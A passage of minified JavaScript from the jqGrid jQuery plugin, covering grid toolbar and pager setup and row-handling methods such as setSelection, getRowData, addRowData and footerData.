"+I.icon_toolbar_menu+"'></span></a>"),$e(".ui-jqgrid-menubar",y.cDiv).hover(function(){$e(this).addClass(q)},function(){$e(this).removeClass(q)}).on("click",function(e){e=$e(e.target).position();$e("#"+K.p.id+"_menubar").show(),"rtl"===K.p.direction&&$e("#"+K.p.id+"_menubar").css({left:e.left-$e("#"+K.p.id+"_menubar").width()-20})})),$e(y.cDiv).insertBefore(y.hDiv),K.p.toolbar[0]&&(a=X(Y,"customtoolbarBox",!0,"ui-userdata"),y.uDiv=document.createElement("div"),"top"===K.p.toolbar[1]?$e(y.uDiv).insertBefore(y.hDiv):"bottom"===K.p.toolbar[1]&&$e(y.uDiv).insertAfter(y.hDiv),"both"===K.p.toolbar[1]?(y.ubDiv=document.createElement("div"),$e(y.uDiv).addClass(a+" ui-userdata-top").attr("id","t_"+this.id).insertBefore(y.hDiv).width(y.width-n),$e(y.ubDiv).addClass(a+" ui-userdata-bottom").attr("id","tb_"+this.id).insertAfter(y.hDiv).width(y.width-n),D&&$e(y.ubDiv).hide()):$e(y.uDiv).width(y.width-n).addClass(a+" ui-userdata-top").attr("id","t_"+this.id),D)&&$e(y.uDiv).hide(),K.p.toppager&&(K.p.toppager=$e.jgrid.jqID(K.p.id)+"_toppager",y.topDiv=$e("<div id='"+K.p.toppager+"'></div>")[0],$e(y.topDiv).addClass(X(Y,"toppagerBox",!0,"ui-jqgrid-toppager")).width(y.width-n).insertBefore(y.hDiv),de(K.p.toppager,"_t"),K.p.toppager="#"+K.p.toppager),K.p.footerrow&&(y.sDiv=$e("<div class='ui-jqgrid-sdiv'></div>")[0],t=$e("<div class='ui-jqgrid-hbox"+("rtl"===v?"-rtl":"")+"'></div>"),$e(y.sDiv).append(t).width(y.width-n).insertAfter(y.hDiv),$e(t).append(Me),y.footers=$e(".ui-jqgrid-ftable",y.sDiv)[0].rows[0].cells,K.p.rownumbers&&(y.footers[0].className=X(Y,"rownumBox",!0,"jqgrid-rownum")),D)&&$e(y.sDiv).hide(),K.p.headerrow&&(y.hrDiv=$e("<div class='ui-jqgrid-hrdiv'></div>")[0],t=$e("<div class='ui-jqgrid-hbox"+("rtl"===v?"-rtl":"")+"'></div>"),$e(y.hrDiv).append(t).width(y.width-n).insertAfter(y.hDiv),$e(t).append(ke),y.hrheaders=$e(".ui-jqgrid-hrtable",y.hrDiv)[0].rows[0].cells,K.p.rownumbers&&(y.hrheaders[0].className=X(Y,"rownumBox",!0,"jqgrid-rownum")),D)&&$e(y.nDiv).hide(),t=null,K.p.caption?(Ee=K.p.datatype,!0===K.p.hidegrid&&($e(".ui-jqgrid-titlebar-close",y.cDiv).click(function(e){var t,i=$e.jgrid.isFunction(K.p.onHeaderClick),r=".ui-jqgrid-bdiv, .ui-jqgrid-hdiv, .ui-jqgrid-toppager, .ui-jqgrid-pager, .ui-jqgrid-sdiv, .ui-jqgrid-hrdiv",o=this;return!0===K.p.toolbar[0]&&("both"===K.p.toolbar[1]&&(r+=", #"+$e(y.ubDiv).attr("id")),r+=", #"+$e(y.uDiv).attr("id")),t=$e(r,"#gview_"+$e.jgrid.jqID(K.p.id)).length,"visible"===K.p.gridstate?$e(r,"#gbox_"+$e.jgrid.jqID(K.p.id)).slideUp("fast",function(){0===--t&&($e("span",o).removeClass(Ve).addClass(Ke),K.p.gridstate="hidden",$e("#gbox_"+$e.jgrid.jqID(K.p.id)).hasClass("ui-resizable")&&$e(".ui-resizable-handle","#gbox_"+$e.jgrid.jqID(K.p.id)).hide(),$e(K).triggerHandler("jqGridHeaderClick",[K.p.gridstate,e]),i)&&!D&&K.p.onHeaderClick.call(K,K.p.gridstate,e)}):"hidden"===K.p.gridstate&&$e(r,"#gbox_"+$e.jgrid.jqID(K.p.id)).slideDown("fast",function(){0===--t&&($e("span",o).removeClass(Ke).addClass(Ve),D&&(K.p.datatype=Ee,_(),D=!1),K.p.gridstate="visible",$e("#gbox_"+$e.jgrid.jqID(K.p.id)).hasClass("ui-resizable")&&$e(".ui-resizable-handle","#gbox_"+$e.jgrid.jqID(K.p.id)).show(),$e(K).triggerHandler("jqGridHeaderClick",[K.p.gridstate,e]),i)&&!D&&K.p.onHeaderClick.call(K,K.p.gridstate,e)}),!1}),D)&&(K.p.datatype="local",$e(".ui-jqgrid-titlebar-close",y.cDiv).trigger("click"))):($e(y.cDiv).hide(),K.p.toppager||$e(y.hDiv).addClass(X(K.p.styleUI+".common","cornertop",!0))),(K.p.headerrow?$e(y.hrDiv):$e(y.hDiv)).after(y.bDiv),$e(y.hDiv).mousemove(function(e){if(y.resizing)return y.dragMove(e),!1}),$e(".ui-jqgrid-labels",y.hDiv).on("selectstart",function(){return!1}),$e(document).on("mouseup.jqGrid"+K.p.id,function(){return!y.resizing||(y.dragEnd(!0),!1)}),"rtl"===K.p.direction&&$e(K).on("jqGridAfterGridComplete.setRTLPadding",function(){var e=y.bDiv.offsetWidth-y.bDiv.clientWidth;0<e&&(e+=2),$e(y.hDiv).find("div").first().hasClass("ui-jqgrid-hbox-rtl")&&$e(y.hDiv).find("div").first().css({paddingLeft:e+"px"}),y.hDiv.scrollLeft=y.bDiv.scrollLeft}),K.p.autoResizing&&$e(K).on("jqGridAfterGridComplete.setAutoSizeColumns",function(){var e=!1,t=!1;!0===K.p.frozenColumns&&(t=$e(":focus",".frozen-div").attr("id"),$e(K).jqGrid("destroyFrozenColumns"),e=!0),0<K.p.colSpanHeader.length&&$e(K).jqGrid("destroyColSpanHeader",!1),$e(K.p.colModel).each(function(e){this.autosize&&!this.hidden&&this._maxsize&&0<this._maxsize&&$e(K).jqGrid("resizeColumn",e,this._maxsize+K.p.cellLayout,!1,!1)}),$e(K).jqGrid("refreshGroupHeaders"),0<K.p.colSpanHeader.length&&$e(K).jqGrid("setColSpanHeader",K.p.colSpanHeader),e&&($e(K).jqGrid("setFrozenColumns"),t)&&setTimeout(function(){$e("#"+t,".frozen-div").trigger("focus")},10)}),K.p.searchCols&&($e(K).on("jqGridPaging.searchCols",function(){$e.isEmptyObject(K.p._results)||(K.p._results={},$e.jgrid.searchColOnEnter(K.p.id,null))}),$e(K).on("jqGridSortCol.searchCols",function(){$e.isEmptyObject(K.p._results)||(K.p._results={},$e.jgrid.searchColOnEnter(K.p.id,null))}),K.p.colMenu)&&K.p.searchColOptions.colmenu&&$e(K).jqGrid("addColSearchMenu"),K.formatCol=s,K.sortData=pe,K.updatepager=function(e,t){var i,r,o,n,a,s,l,d=K.p.pager?K.p.pager.substring(1):"",d=d?"_"+d:"",c=K.p.toppager?"_"+K.p.toppager.slice(1):"",p=parseInt(K.p.page,10)-1;p<0&&(p=0),i=(p*=parseInt(K.p.rowNum,10))+K.p.reccount,K.p.scroll&&(n=$e("tbody",K.grid.bDiv).first().find("> tr").slice(1),i>K.p.records&&(i=K.p.records),p=i-n.length,K.p.reccount=n.length,(n=n.outerHeight()||K.grid.prevRowHeight)&&(l=p*n,s=parseInt(K.p.records,10)*n,$e(K.grid.bDiv).find(">div").first().css({height:s}).children("div").first().css({height:l,display:l?"":"none"}),0===K.grid.bDiv.scrollTop)&&1<K.p.page&&(K.grid.bDiv.scrollTop=K.p.rowNum*(K.p.page-1)*n),K.grid.bDiv.scrollLeft=K.grid.hDiv.scrollLeft),s=K.p.pager||"",(s+=K.p.toppager?s?","+K.p.toppager:K.p.toppager:"")&&(l=$e.jgrid.getRegional(K,"formatter.integer"),n=J(K.p.page),a=J(K.p.lastpage),$e(".selbox",s)[this.p.useProp?"prop":"attr"]("disabled",!1),!0===K.p.pginput&&($e(".ui-pg-input",s)[$e(".ui-pg-input",s).first().is(":input")?"val":"html"](a<n?K.p.lastpage:K.p.page),o=K.p.toppager?"#sp_1"+d+",#sp_1"+c:"#sp_1"+d,$e(o).html($e.fmatter?$e.fmatter.util.NumberFormat(K.p.lastpage,l):K.p.lastpage)),K.p.viewrecords&&(0===K.p.reccount?$e(".ui-paging-info",s).html($e.jgrid.getRegional(K,"defaults.emptyrecords",K.p.emptyrecords)):(o=p+1,r=K.p.records,$e.fmatter&&(o=$e.fmatter.util.NumberFormat(o,l),i=$e.fmatter.util.NumberFormat(i,l),r=$e.fmatter.util.NumberFormat(r,l)),l=$e.jgrid.getRegional(K,"defaults.recordtext",K.p.recordtext),$e(".ui-paging-info",s).html($e.jgrid.template(l,o,i,r)))),!0===K.p.pgbuttons)&&(1===(n=n<=0?a=0:n)||0===n?($e("#first"+d+", #prev"+d).addClass(w).removeClass(q),K.p.toppager&&$e("#first_t"+c+", #prev_t"+c).addClass(w).removeClass(q)):($e("#first"+d+", #prev"+d).removeClass(w),K.p.toppager&&$e("#first_t"+c+", #prev_t"+c).removeClass(w)),n===a||0===n?($e("#next"+d+", #last"+d).addClass(w).removeClass(q),K.p.toppager&&$e("#next_t"+c+", #last_t"+c).addClass(w).removeClass(q)):($e("#next"+d+", #last"+d).removeClass(w),K.p.toppager&&$e("#next_t"+c+", #last_t"+c).removeClass(w))),!0===e&&!0===K.p.rownumbers&&$e(">td.jqgrid-rownum",K.rows).each(function(e){$e(this).html(p+1+e)}),0===K.p.reccount&&(s=K.p.emptyRecordRow?X(Y,"rowBox",!0,"jqgrow ui-row-"+K.p.direction+" not-editable-row not-editable-cell "+w):"jqgfirstrow not-editable-row not-editable-cell",l=(l=se("norecs",!1,s,{},""))+(K.p.emptyRecordRow?"<td style='text-align:center;' colspan='"+y.headers.length+"'>"+$e.jgrid.getRegional(K,"defaults.emptyrecords",K.p.emptyrecords)+"</td>":"<td style='height:0.1px;visibility:hidden;' colspan='"+y.headers.length+"'> </td>")+"</tr>",$e(y.bDiv).find("table").first().append(l)),t&&K.p.jqgdnd&&$e(K).jqGrid("gridDnD","updateDnD"),$e(K).triggerHandler("jqGridGridComplete"),$e.jgrid.isFunction(K.p.gridComplete)&&K.p.gridComplete.call(K),$e(K).triggerHandler("jqGridAfterGridComplete")},K.refreshIndex=ae,K.setHeadCheckBox=le,K.constructTr=se,K.formatter=function(e,t,i,r,o){return A(e,t,i,r,o)},$e.extend(y,{populate:_,emptyRows:ne,beginReq:E,endReq:j}),this.grid=y,K.addXmlData=function(e){T(e)},K.addJSONData=function(e){H(e)},K.addLocalData=function(e){return L(e)},K.addIndexedDBData=function(e){return U(e)},K.treeGrid_beforeRequest=function(){K.p.treeGrid&&K.p.treeGrid_bigData&&void 0!==K.p.postData.nodeid&&"string"==typeof K.p.postData.nodeid&&(""!==K.p.postData.nodeid||0<parseInt(K.p.postData.nodeid,10))&&(K.p.postData.rows=1e4,K.p.postData.page=1,K.p.treeGrid_rootParams.otherData.nodeid=K.p.postData.nodeid)},K.treeGrid_afterLoadComplete=function(){K.p.treeGrid&&K.p.treeGrid_bigData&&(void 0!==K.p.treeGrid_rootParams.otherData.nodeid&&"string"==typeof K.p.treeGrid_rootParams.otherData.nodeid&&(""!==K.p.treeGrid_rootParams.otherData.nodeid||0<parseInt(K.p.treeGrid_rootParams.otherData.nodeid,10))?void 0===K.p.treeGrid_rootParams||$e.jgrid.isNull(K.p.treeGrid_rootParams)||(K.p.page=K.p.treeGrid_rootParams.page,K.p.lastpage=K.p.treeGrid_rootParams.lastpage,K.p.postData.rows=K.p.treeGrid_rootParams.postData.rows,K.p.postData.totalrows=K.p.treeGrid_rootParams.postData.totalrows,K.p.treeGrid_rootParams.otherData.nodeid="",K.updatepager(!1,!0)):K.p.treeGrid_rootParams={page:K.p.page,lastpage:K.p.lastpage,postData:{rows:K.p.postData.rows,totalrows:K.p.postData.totalrows},rowNum:K.p.rowNum,rowTotal:K.p.rowTotal,otherData:{nodeid:""}})},this.grid.cols=this.rows[0].cells,$e.jgrid.isFunction(K.p.onInitGrid)&&K.p.onInitGrid.call(K),$e(K).triggerHandler("jqGridInitGrid"),_(),K.p.hiddengrid=!1,K.p.responsive&&(i="onorientationchange"in window?"orientationchange":"resize",$e(window).on(i,function(){$e.jgrid.isVisible(K)&&$e(K).jqGrid("resizeGrid",500,!0,K.p.resizeHeight,!0)}))}}}function Xe(e,t,i,r){var o;!(K.p.multiselect&&K.p.multiboxonly||K.p.multimail)||t?$e(K).jqGrid("setSelection",e,r,i):K.p.multiboxonly&&K.p.multimail?($e(K).triggerHandler("jqGridSelectRow",[e,!1,i]),K.p.onSelectRow&&K.p.onSelectRow.call(K,e,!1,i)):(o=K.p.frozenColumns?K.p.id+"_frozen":"",$e(K.p.selarrrow).each(function(e,t){var i=$e(K).jqGrid("getGridRowById",t);i&&$e(i).removeClass($),$e("#jqg_"+$e.jgrid.jqID(K.p.id)+"_"+$e.jgrid.jqID(t))[K.p.useProp?"prop":"attr"]("checked",!1),o&&($e("#"+$e.jgrid.jqID(t),"#"+$e.jgrid.jqID(o)).removeClass($),$e("#jqg_"+$e.jgrid.jqID(K.p.id)+"_"+$e.jgrid.jqID(t),"#"+$e.jgrid.jqID(o))[K.p.useProp?"prop":"attr"]("checked",!1))}),K.p.selarrrow=[],$e(K).jqGrid("setSelection",e,r,i))}});var e,t=$e.jgrid.getMethod(Ye);if(t)return e=$e.makeArray(arguments).slice(1),t.apply(this,e);throw"jqGrid - No such method: "+Ye},$e.jgrid.extend({getGridParam:function(e,t){var i,r=this[0];if(r&&r.grid){if(i=r.p,"jqGrid"!==(t=void 0===t&&"string"!=typeof t?"jqGrid":t))try{i=$e(r).data(t)}catch(e){i=r.p}return e?void 0!==i[e]?i[e]:null:i}},setGridParam:function(t,i){return this.each(function(){var e;$e.jgrid.isNull(i)&&(i=!1),this.grid&&"object"==typeof t&&(!0===i?(e=$e.extend({},this.p,t),this.p=e):$e.extend(!0,this.p,t))})},getGridRowById:function(t){var i;return this.each(function(){try{i=this.rows.namedItem(t)}catch(e){i=$e(this.grid.bDiv).find("#"+$e.jgrid.jqID(t))[0]}}),i},getGridRowByIndex:function(t){var i=null;return this.each(function(){var e=this.rows.length-1;1<=t&&1<=e&&t<=e&&(i=this.rows[t])}),i},getDataIDs:function(){var e,t=[],i=0,r=0;return this.each(function(){if((e=this.rows.length)&&0<e)for(;i<e;)$e(this.rows[i]).hasClass("jqgrow")&&"norecs"!==this.rows[i].id&&(t[r]=this.rows[i].id,r++),i++}),t},setSelection:function(c,p,u,g){return this.each(function(){var e,t,i,r,o,n,a,s=this,l=$e.jgrid.getMethod("getStyleUI"),d=l(s.p.styleUI+".common","highlight",!0),l=l(s.p.styleUI+".common","disabled",!0);void 0!==c&&(g=!1!==(g=void 0===g?!0:g),p=!1!==p,t=$e(s).jqGrid("getGridRowById",c))&&t.className&&!(-1<t.className.indexOf(l))&&(!0===s.p.scrollrows&&0<=(l=$e(s).jqGrid("getGridRowById",c).rowIndex)&&(l=l,o=$e(s.grid.bDiv)[0].clientHeight,n=$e(s.grid.bDiv)[0].scrollTop,a=$e(s.rows[l]).position().top,l=s.rows[l].clientHeight,o+n<=a+l?$e(s.grid.bDiv)[0].scrollTop=a-(o+n)+l+n:a<o+n&&a<n&&($e(s.grid.bDiv)[0].scrollTop=a)),!0===s.p.frozenColumns&&(i=s.p.id+"_frozen"),!0===s.p.frozenRows&&(r=s.p.id+"_fr"),s.p.multiselect?(s.setHeadCheckBox(!1),s.p.selrow=t.id,-1===(l=$e.inArray(s.p.selrow,s.p.selarrrow))?("ui-subgrid"!==t.className&&$e(t).addClass(d).attr("aria-selected","true"),e=!0,s.p.selarrrow.push(s.p.selrow)):-1!==l&&"_sp_"===u?("ui-subgrid"!==t.className&&$e(t).addClass(d).attr("aria-selected","true"),e=!0):("ui-subgrid"!==t.className&&$e(t).removeClass(d).attr("aria-selected","false"),e=!1,s.p.selarrrow.splice(l,1),o=s.p.selarrrow[0],s.p.selrow=void 0===o?null:o),$e("#jqg_"+$e.jgrid.jqID(s.p.id)+"_"+$e.jgrid.jqID(t.id))[s.p.useProp?"prop":"attr"]("checked",e),i&&(g&&(-1===l?$e("#"+$e.jgrid.jqID(c),"#"+$e.jgrid.jqID(i)).addClass(d):$e("#"+$e.jgrid.jqID(c),"#"+$e.jgrid.jqID(i)).removeClass(d)),$e("#jqg_"+$e.jgrid.jqID(s.p.id)+"_"+$e.jgrid.jqID(c),"#"+$e.jgrid.jqID(i))[s.p.useProp?"prop":"attr"]("checked",e)),p&&($e(s).triggerHandler("jqGridSelectRow",[t.id,e,u]),s.p.onSelectRow)&&s.p.onSelectRow.call(s,t.id,e,u),$e.jgrid.isFunction(s.p.onMultiSelect)&&s.p.onMultiSelect.call(s,s.p.selarrrow)):(r&&$e("#"+$e.jgrid.jqID(s.p.selrow),"#"+$e.jgrid.jqID(r)).removeClass(d),"ui-subgrid"!==t.className&&(e=s.p.selrow!==t.id&&(g&&((n=$e(s).jqGrid("getGridRowById",s.p.selrow))&&$e(n).removeClass(d).attr({"aria-selected":"false",tabindex:"-1"}),$e(t).addClass(d).attr({"aria-selected":"true",tabindex:"0"}),i)&&($e("#"+$e.jgrid.jqID(s.p.selrow),"#"+$e.jgrid.jqID(i)).removeClass(d),$e("#"+$e.jgrid.jqID(c),"#"+$e.jgrid.jqID(i)).addClass(d)),!0),s.p.selrow=t.id,p)&&($e(s).triggerHandler("jqGridSelectRow",[t.id,e,u]),s.p.onSelectRow)&&s.p.onSelectRow.call(s,t.id,e,u)))})},resetSelection:function(a){return this.each(function(){var i,e,t,r=this,o=$e.jgrid.getMethod("getStyleUI"),n=o(r.p.styleUI+".common","highlight",!0),o=o(r.p.styleUI+".common","hover",!0);!0===r.p.frozenColumns&&(i=r.p.id+"_frozen"),void 0!==a?(t=a===r.p.selrow?r.p.selrow:a,$e("#"+$e.jgrid.jqID(r.p.id)+" tbody").first().find("tr#"+$e.jgrid.jqID(t)).removeClass(n).attr("aria-selected","false"),i&&$e("#"+$e.jgrid.jqID(t),"#"+$e.jgrid.jqID(i)).removeClass(n),r.p.multiselect&&($e("#jqg_"+$e.jgrid.jqID(r.p.id)+"_"+$e.jgrid.jqID(t),"#"+$e.jgrid.jqID(r.p.id))[r.p.useProp?"prop":"attr"]("checked",!1),i&&$e("#jqg_"+$e.jgrid.jqID(r.p.id)+"_"+$e.jgrid.jqID(t),"#"+$e.jgrid.jqID(i))[r.p.useProp?"prop":"attr"]("checked",!1),r.setHeadCheckBox(!1),-1!==(e=$e.inArray($e.jgrid.jqID(t),r.p.selarrrow)))&&r.p.selarrrow.splice(e,1),r.p.onUnSelectRow&&r.p.onUnSelectRow.call(r,t),t=null):r.p.multiselect?($e(r.p.selarrrow).each(function(e,t){$e($e(r).jqGrid("getGridRowById",t)).removeClass(n).attr("aria-selected","false"),$e("#jqg_"+$e.jgrid.jqID(r.p.id)+"_"+$e.jgrid.jqID(t))[r.p.useProp?"prop":"attr"]("checked",!1),i&&($e("#"+$e.jgrid.jqID(t),"#"+$e.jgrid.jqID(i)).removeClass(n),$e("#jqg_"+$e.jgrid.jqID(r.p.id)+"_"+$e.jgrid.jqID(t),"#"+$e.jgrid.jqID(i))[r.p.useProp?"prop":"attr"]("checked",!1)),r.p.onUnSelectRow&&r.p.onUnSelectRow.call(r,t)}),r.setHeadCheckBox(!1),r.p.selarrrow=[],r.p.selrow=null):r.p.selrow&&($e("#"+$e.jgrid.jqID(r.p.id)+" tbody").first().find("tr#"+$e.jgrid.jqID(r.p.selrow)).removeClass(n).attr("aria-selected","false"),i&&$e("#"+$e.jgrid.jqID(r.p.selrow),"#"+$e.jgrid.jqID(i)).removeClass(n),r.p.onUnSelectRow&&r.p.onUnSelectRow.call(r,r.p.selrow),r.p.selrow=null),!0===r.p.cellEdit&&0<=parseInt(r.p.iCol,10)&&0<=parseInt(r.p.iRow,10)&&($e("td",r.rows[r.p.iRow]).eq(r.p.iCol).removeClass("edit-cell "+n),$e(r.rows[r.p.iRow]).removeClass("selected-row "+o)),$e.jgrid.isFunction(r.p.onMultiSelect)&&r.p.onMultiSelect.call(r,r.p.selarrrow)})},getRowData:function(e,n,a,s){var l,d,c={},p=!1,u=0;return this.each(function(){var t,i,r=this;if($e.jgrid.isNull(e))p=!0,l=[],d=r.rows.length;else{if(!(i=$e(r).jqGrid("getGridRowById",e)))return c;d=1}for(n&&!0===n&&0<r.p.data.length||(n=!1),$e.jgrid.isNull(a)&&(a=!1),$e.jgrid.isNull(s)&&(s=!1);u<d;){if(p&&(i=r.rows[u]),$e(i).hasClass("jqgrow")&&"norecs"!==i.id){if(!0===r.p.treeGrid&&!0===s&&$e(i).is(":hidden")){u++;continue}if(n?c=$e.extend({},r.p.data[r.p._index[$e.jgrid.stripPref(r.p.idPrefix,i.id)]]):$e(i).children('td[role="gridcell"]').each(function(e){if("cb"!==(t=r.p.colModel[e].name)&&"subgrid"!==t&&"rn"!==t&&"sc"!==t)if(!0===r.p.treeGrid&&t===r.p.ExpandColumn)c[t]=$e.jgrid.htmlDecode($e(this).find("span").first().html());else try{c[t]=$e.unformat.call(r,this,{rowId:i.id,colModel:r.p.colModel[e]},e)}catch(e){c[t]=$e.jgrid.htmlDecode($e(this).html())}}),!0===r.p.treeGrid&&a){var o=r.p.treeReader.level_field;a+="";try{o=parseInt(c[o],10)}catch(e){o=0}c[r.p.ExpandColumn]=a.repeat(o)+c[r.p.ExpandColumn]}p&&(l.push(c),c={})}u++}}),l||c},delRowData:function(i){var r,o,n=!1;return this.each(function(){var e,t=this;if(!(r=$e(t).jqGrid("getGridRowById",i)))return!1;i=r.id,t.p.subGrid&&(o=$e(r).next()).hasClass("ui-subgrid")&&o.remove(),$e(r).remove(),t.p.records--,t.p.reccount--,t.updatepager(!0,!1),n=!0,t.p.frozenColumns&&$e("#"+i,"#"+$e.jgrid.jqID(t.p.id+"_frozen")).remove(),t.p.multiselect&&-1!==(o=$e.inArray(i,t.p.selarrrow))&&t.p.selarrrow.splice(o,1),t.p.multiselect&&0<t.p.selarrrow.length?t.p.selrow=t.p.selarrrow[t.p.selarrrow.length-1]:t.p.selrow===i&&(t.p.selrow=null),"local"===t.p.datatype&&(e=$e.jgrid.stripPref(t.p.idPrefix,i),void 0!==(e=t.p._index[e]))&&(t.p.data.splice(e,1),t.refreshIndex())}),n},setRowData:function(d,c,p,u){var g,h=!0;return this.each(function(){if(!this.grid)return!1;var i,e,r,o=this,n={},a=$e(this).jqGrid("getGridRowById",d);if(!a)return!1;if(!0===u&&(e=$e(o).jqGrid("getRowData",d,"local"===o.p.datatype)),c){u&&(c=$e.extend(e,c));try{if($e(this.p.colModel).each(function(e){g=this.name;var t=$e.jgrid.getAccessor(c,g);void 0!==t&&(n[g]=t,i=o.formatter(d,n[g],e,c,"edit"),r=this.title?{title:$e.jgrid.stripHtml(i)}:{},(!0===o.p.treeGrid&&g===o.p.ExpandColumn?$e("td[role='gridcell']",a).eq(e).find("span[class*='cell-wrapper']"):$e("td[role='gridcell']",a).eq(e)).html(i).attr(r),o.p.frozenColumns)&&e<=o.p.frozenColCount&&$e("#"+d+" td[role='gridcell']","#"+$e.jgrid.jqID(o.p.id+"_frozen")).eq(e).html(i).attr(r)}),"local"===o.p.datatype){var t,s=$e.jgrid.stripPref(o.p.idPrefix,d),l=o.p._index[s];if(o.p.treeGrid)for(t in o.p.treeReader)o.p.treeReader.hasOwnProperty(t)&&delete n[o.p.treeReader[t]];void 0!==l&&(o.p.data[l]=$e.extend(!0,o.p.data[l],n)),n=null}}catch(e){h=!1}}h&&("string"==typeof p?$e(a).addClass(p):$e.jgrid.isNull(p)||"object"!=typeof p||$e(a).css(p),$e(o).triggerHandler("jqGridAfterGridComplete"))}),h},addRowData:function(a,s,l,d){-1===$e.inArray(l,["first","last","before","after"])&&(l="last");var c,p,u,g,h,f,m,v,w,b,j,_,y=!1,x="",D="",q="";return s&&(Array.isArray(s)?(v=!0,w=a):v=!(s=[s]),this.each(function(){var e=this,t=s.length,i=(g=!0===e.p.rownumbers?1:0,p=!0===e.p.multiselect?1:0,u=!0===e.p.subGrid?1:0,v||(void 0!==a?a=String(a):(a=$e.jgrid.randId(),!1!==e.p.keyName&&(w=e.p.keyName,void 0!==s[0][w])&&(a=s[0][w]))),0),r=$e(e).jqGrid("getStyleUI",e.p.styleUI+".base","rowBox",!0,"jqgrow ui-row-"+e.p.direction),o={},n=!!$e.jgrid.isFunction(e.p.afterInsertRow);for(g&&(x=$e(e).jqGrid("getStyleUI",e.p.styleUI+".base","rownumBox",!1,"jqgrid-rownum")),p&&(D=$e(e).jqGrid("getStyleUI",e.p.styleUI+".base","multiBox",!1,"cbox"));i<t;){if(b=s[i],c=[],v)try{void 0===(a=b[w])&&(a=$e.jgrid.randId())}catch(e){a=$e.jgrid.randId()}for(_=a,a=e.p.idPrefix+a,g&&(q=e.formatCol(0,1,"",null,a,!0),c[c.length]='<td role="gridcell" '+x+" "+q+">0</td>"),p&&(m='<input role="checkbox" type="checkbox" id="jqg_'+e.p.id+"_"+a+'" '+D+"/>",q=e.formatCol(g,1,"",null,a,!0),c[c.length]='<td role="gridcell" '+q+">"+m+"</td>"),u&&(c[c.length]=$e(e).jqGrid("addSubGridCell",p+g,1)),f=p+u+g;f<e.p.colModel.length;f++)j=e.p.colModel[f],o[j=j.name]=b[j],m=e.formatter(a,$e.jgrid.getAccessor(b,j),f,b),q=e.formatCol(f,1,m,b,a,o),c[c.length]='<td role="gridcell" '+q+">"+m+"</td>";if(c.unshift(e.constructTr(a,!1,r,o,b)),c[c.length]="</tr>",0===e.rows.length)$e(e.grid.bDiv).find("table").first().append(c.join(""));else switch(l){case"last":$e(e.rows[e.rows.length-1]).after(c.join("")),h=e.rows.length-1;break;case"first":$e(e.rows[0]).after(c.join("")),h=1;break;case"after":(h=$e(e).jqGrid("getGridRowById",d))&&($e(e.rows[h.rowIndex+1]).hasClass("ui-subgrid")?$e(e.rows[h.rowIndex+1]).after(c):$e(h).after(c.join("")),h=h.rowIndex+1);break;case"before":(h=$e(e).jqGrid("getGridRowById",d))&&($e(h).before(c.join("")),h=h.rowIndex-1)}if(!0===e.p.subGrid&&$e(e).jqGrid("addSubGrid",p+g,h),e.p.records++,e.p.reccount++,$e(e).triggerHandler("jqGridAfterInsertRow",[a,b,b]),n&&e.p.afterInsertRow.call(e,a,b,b),i++,"local"===e.p.datatype)switch(o[e.p.localReader.id]=_,l){case"first":e.p.data.unshift(o);break;case"last":e.p.data.push(o);break;case"before":case"after":e.p.data.splice(h-1,0,o)}o={},1===e.p.reccount&&(h=$e(e).jqGrid("getGridRowById","norecs"))&&h.rowIndex&&0<h.rowIndex&&$e(e.rows[h.rowIndex]).remove()}"local"===e.p.datatype&&e.refreshIndex(),e.updatepager(!0,!0),y=!0})),y},footerData:function(a,s,l,d,c){var p,u=!1,g={};function h(e){for(var t in e)if(e.hasOwnProperty(t))return;return 1}return"boolean"!=typeof l&&(l=!0),void 0===d&&(d=0),void 0===c&&(c=!0),a=(a=void 0===a?"get":a).toLowerCase(),this.each(function(){var t,i,e,r=this,o=this.p.colModel.length,n=!1;return!(!r.grid||!r.p.footerrow||"set"===a&&h(s))&&("getlength"===a?(e=$e(".ui-jqgrid-ftable tr",r.grid.sDiv).length,g=e||0,!1):(r.p.frozenColumns&&"get"!==a&&c&&($e(r).jqGrid("destroyFrozenColumns"),n=!0),u=!0,"addrow"===a&&(e=$e(".ui-jqgrid-ftable tr",r.grid.sDiv).eq(0).clone(),$e("td",e).html(" "),$e(".ui-jqgrid-ftable",r.grid.sDiv).append(e),h(s)||(a="set",d=$e(".ui-jqgrid-stable tr",r.grid.sDiv).length-1)),"delrow"===a&&0<(d=void 0===d?$e(".ui-jqgrid-stable tr",r.grid.sDiv).length-1:d)&&$e(".ui-jqgrid-ftable tr",r.grid.sDiv).eq(d).remove(),o*=parseInt(d,10),"get"!==a&&"set"!==a||$e(this.p.colModel).each(function(e){p=this.name,"set"===a?void 0!==s[p]&&(t=l?r.formatter("",s[p],e,s,"edit"):s[p],i=this.title?{title:$e.jgrid.stripHtml(t)}:{},$e("tr.footrow td",r.grid.sDiv).eq(e+o).html(t).attr(i),u=!0):"get"===a&&(g[p]=l?$e.unformat.call(r,$e("tr.footrow td",r.grid.sDiv).eq(e+o),{colModel:r.p.colModel[e]},e):$e("tr.footrow td",r.grid.sDiv).eq(e+o).html())}),"remove"===a&&($e(r.grid.sDiv).remove(),r.grid.sDiv=null,r.p.footerrow=!1),void(n&&$e(r).jqGrid("setFrozenColumns"))))}),"get"===a||"getlength"===a?g:u},headerData:function(a,s,l,d,c){var p,u=!1,g={};function h(e){for(var t in e)if(e.hasOwnProperty(t))return;return 1}return"boolean"!=typeof l&&(l=!0),void 0===d&&(d=0),void 0===c&&(c=!0),a=(a=void 0===a?"get":a).toLowerCase(),this.each(function(){var t,i,e,r=this,o=this.p.colModel.length,n=!1;return!(!r.grid||!r.p.headerrow||"set"===a&&h(s))&&("getlength"===a?(e=$e(".ui-jqgrid-hrtable tr",r.grid.hrDiv).length,g=e||0,!0):(r.p.frozenColumns&&"get"!==a&&c&&($e(r).jqGrid("destroyFrozenColumns"),n=!0),u=!0,"addrow"===a&&(e=$e(".ui-jqgrid-hrtable tr",r.grid.hrDiv).eq(0).clone(),$e("td",e).html(" "),$e(".ui-jqgrid-hrtable",r.grid.hrDiv).append(e),h(s)||(a="set",d=$e(".ui-jqgrid-hrtable tr",r.grid.hrDiv).length-1)),"delrow"===a&&0<(d=void 0===d?$e(".ui-jqgrid-hrtable tr",r.grid.hrDiv).length-1:d)&&$e(".ui-jqgrid-hrtable tr",r.grid.hrDiv).eq(d).remove(),o*=parseInt(d,10),"get"!==a&&"set"!==a||$e(this.p.colModel).each(function(e){p=this.name,"set"===a?void 0!==s[p]&&(t=l?r.formatter("",s[p],e,s,"edit"):s[p],i=this.title?{title:$e.jgrid.stripHtml(t)}:{},$e("tr.hrheadrow 